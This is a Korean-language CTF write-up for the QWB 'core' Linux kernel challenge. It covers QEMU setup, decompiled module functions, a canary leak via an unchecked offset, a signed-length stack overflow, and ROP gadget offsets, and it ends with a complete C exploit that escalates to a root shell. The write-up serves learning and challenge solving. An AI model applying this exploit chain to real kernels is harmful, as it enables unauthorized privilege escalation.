core

强网杯 = QiangWangBei = QWB 라고 부르는 CTF에 출제된 kernel exploit 문제다.

커널 문제 처음 잡아보는거라 환경 세팅부터 이거저거 자세히 써보려고 함

틀린 사실은 fb.com/stan31337 로 지적해주시면 감사하겠습니다~

Attachment

$ tree give_to_player 
give_to_player
├── bzImage
├── core.cpio
├── start.sh
└── vmlinux
bzImage : 커널 이미지
core.cpio : 취약한 커널 모듈을 포함한 파일 시스템
start.sh : qemu로 커널을 부팅하는 스크립트
vmlinux : 압축되지 않은 커널 이미지

Environmnet Setup

start.sh

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

core.cpio

mkdir core
cp core.cpio core
cd core
mv core.cpio core.gz
gunzip core.gz
cpio -idmv < core

아래와 같은 파일을 얻을 수 있음.

$ ls .
bin  core  core.ko  etc  gen_cpio.sh  init  lib  lib64  linuxrc  proc  root  sbin  sys  tmp  usr  vmlinux

init

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

Booting

rm ../core.cpio
./gen_cpio.sh core.cpio
cp core.cpio ../
cd ..
./start.sh

warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
[    0.029726] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $ ls
bin          dev          gen_cpio.sh  lib64        root         tmp
core.cpio    etc          init         linuxrc      sbin         usr
core.ko      lib          proc         sys          vmlinux

Exploit

core.ko 모듈의 함수 목록

core_release
copy_write
core_read
core_copy_func
core_ioctl
init_module
exit_core

init_module

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk(&unk_2DE);
  return 0LL;
}

/proc/에 core을 생성함.

core_ioctl

__int64 __fastcall core_ioctl(__int64 fd, int req, __int64 opt)
{
  __int64 v3; // rbx

  v3 = opt;
  switch ( req )
  {
    case 0x6677889B:                    
      core_read(opt);
      break;
    case 0x6677889C:                       
      printk(&unk_2CD);
      off = v3;
      break;
    case 0x6677889A:                         
      printk(&unk_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

ioctl 함수로 0x6677889a ~ 0x6677889c의 magic number에 따라 각각 core_copy_func, core_read를 호출하고 off 변수를 설정함.

core_read

unsigned __int64 __fastcall core_read(__int64 user_buf)
{
  __int64 user__buf; // rbx
  __int64 *v2; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 welcome; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  user__buf = user_buf;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &welcome;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&welcome, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(user__buf, (char *)&welcome + off, 0x40LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

core_write

signed __int64 __fastcall copy_write(__int64 a1, __int64 src, unsigned __int64 len)
{
  unsigned __int64 length; // rbx

  length = len;
  printk(&unk_215);
  if ( length <= 0x800 && !copy_from_user(&name, src, length) )
    return (unsigned int)length;
  printk(&unk_230);
  return 0xFFFFFFF2LL;
}

core_copy_func

signed __int64 __fastcall core_copy_func(signed __int64 len)
{
  signed __int64 result; // rax
  __int64 local_buf; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( len > 0x3F )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&local_buf, &name, (unsigned __int16)len);
  }
  return result;
}

Exploit Flow

SMEP/SMAP이 해제되어 있으므로 Kernel Space에서 User Space 영역의 코드를 실행할 수 있어 ret2usr이 가능하지만 그냥 Kernel Space ROP로 풀기로 함.

1. fake trap frame 생성
2. commit_creds(prepare_kernel_cred(0));
3. swapgs; iretq;
4. trapframe->rip : systme("/bin/sh");

Gadget 탐색

ROPgadget 사용하면 아주 오래 걸리더라.. ropper / objdump 사용 추천.

0xffffffff8106a6d2 : mov rdi, rax; jmp rdx;
0xffffffff81000b2f : pop rdi; ret;
0xffffffff810a0f49 : pop rdx; ret;
0xffffffff81a012da : swapgs; popfq; ret;
0xffffffff81050ac2 : iretq;
$ python
Python 2.7.12 (default, Aug 22 2019, 16:36:40) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> ELF('./vmlinux')
[*] '/home/st4nw/give_to_player/vmlinux'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments
ELF('/home/st4nw/give_to_player/vmlinux')

kaslr이 걸려있으므로 각 가젯에 대한 offset을 구해야하는데, qemu 밖에서 vmlinux base 주소가 0xffffffff81000000로 잡히므로 구한 가젯 주소에서 해당 주소를 빼주면 됨.

0x6a6d2 : mov rdi, rax; jmp rdx;
0xb2f   : pop rdi; ret;
0xa0f49 : pop rdx; ret;
0xa012da : swapgs; popfq; ret;
0x50ac2 : iretq;

Debug

#setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh
Qemu 내
/ # cat /sys/module/core/sections/.text
0xffffffffc0002000

Qemu 밖
$ gdb -q vmlinux
(gdb) add-symbol-file core/core.ko 0xffffffffc0002000
(gdb) b core_copy_func
(gdb) target remote localhost:1234
(gdb) c

Qemu 내
/ # /tmp/exp

exp.c

#include <stdio.h>
#include <fcntl.h>

#define MAGIC_COPY 0x6677889a
#define MAGIC_READ 0x6677889b
#define MAGIC_OFF  0x6677889c

void* (*base)(void*);
void* (*prepare_kernel_cred)(void*);
void* (*commit_creds)(void*);

void* (*pop_rdi)(void*);
void* (*pop_rdx)(void*);
void* (*mov_rdi_rax_jmp_rdx)(void*);
void* (*swapgs)(void*);
void* (*iretq)(void*);

unsigned long long ucs, uss, ueflags, usp;

int fd;

void shell()
{
	system("/bin/sh");
	return;
}

void save_status(){
    __asm__(
        "mov ucs,cs;"
        "mov uss,ss;"
        "mov usp,rsp;"
        "pushf;"
        "pop ueflags;"
    );
	puts("status saved");
}

int main()
{
	unsigned long long leak[0x10];

	fd = open("/proc/core", O_RDWR);

	printf("commit_creds : ");
	scanf("%llx", &commit_creds);

	printf("prepare_kernel_cred : ");
	scanf("%llx", &prepare_kernel_cred);

	base = commit_creds - 0x9c8e0;
	pop_rdi = base + 0xb2f;
	pop_rdx = base + 0xa0f49;
	mov_rdi_rax_jmp_rdx = base + 0x6a6d2;
	swapgs = base + 0xa012da;
	iretq = base + 0x50ac2;

	printf("kernel base : %p\n", base);

	ioctl(fd, MAGIC_OFF, 0x40);
	ioctl(fd, MAGIC_READ, leak);

	printf("canary : %p\n", leak[0]);

	unsigned long long canary = leak[0];

	save_status();

	unsigned long long pay[0x400] = {
		0x4141414141414141,
		0x4141414141414141,
		0x4141414141414141,
		0x4141414141414141,
		0x4141414141414141,
		0x4141414141414141,
		0x4141414141414141,
		0x4141414141414141,
		canary,
		0x4141414141414141,

// commit_creds(prepare_kernel_cred(0));

		pop_rdi,
		0,
		prepare_kernel_cred,

		pop_rdx,
		commit_creds,

		mov_rdi_rax_jmp_rdx,
	
// restore trap frame

		swapgs,
		0,
		iretq,

		shell, // rip
		ucs,	
		ueflags,
		usp,
		uss
	};

	puts("pay -> bss");
	write(fd, pay, 0x100);
	puts("bss -> local buf");
	ioctl(fd, MAGIC_COPY, 0xffffffffffff0000|(0x100));

	return 0;
}
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ cat /tmp/kallsyms | grep commit_creds
ffffffff98a9c8e0 T commit_creds
/ $ cat /tmp/kallsyms | grep prepare_kernel_cred
ffffffff98a9cce0 T prepare_kernel_cred
/ $ /tmp/exp
commit_creds : ffffffff98a9c8e0
prepare_kernel_cred : ffffffff98a9cce0
kernel base : 0xffffffff98a00000
canary : 0x8fe55b89efef9b00
status saved
pay -> bss
bss -> local buf
/ # id
uid=0(root) gid=0(root)
/ # cat /root/flag
FLAG{XXXXXXXXXXXXXXXXXX}